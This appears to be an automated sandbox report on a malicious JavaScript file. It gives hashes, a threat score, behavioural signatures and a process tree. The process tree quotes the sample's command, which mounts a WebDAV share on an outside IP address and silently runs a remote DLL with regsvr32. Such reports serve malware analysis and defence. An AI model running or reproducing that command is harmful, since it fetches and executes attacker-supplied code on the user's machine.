Analysis

  • max time kernel
    140s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-07-2024 03:18

General

  • Target

    b39258e1d37a06c8560f97c10b22584aa94702353a4be38056b7bf816ef6d99c.js

  • Size

    4KB

  • MD5

    6ccc4df732256376696a71607bf608f4

  • SHA1

    5ffcba9f9e07d6a209b0ba62ab5e6c464d046470

  • SHA256

    b39258e1d37a06c8560f97c10b22584aa94702353a4be38056b7bf816ef6d99c

  • SHA512

    a1d650311a46964d50837d550d2177bf0794bdb86282741809a4953f741bcb33267e9a4cf8ed24f4d06e1b4021160767b9cfe2fbf70b6a8630d1dcd63286563e

  • SSDEEP

    96:YPSz/Rj9HVYa1+7q71qL6G3HVgYHVstHV12x1qLTHVv2aBcX7HVK/HPZqEIqA//Y:lDnk/dAkGk/dP2

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\b39258e1d37a06c8560f97c10b22584aa94702353a4be38056b7bf816ef6d99c.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5024
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\5739137043878.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4492
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1604

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads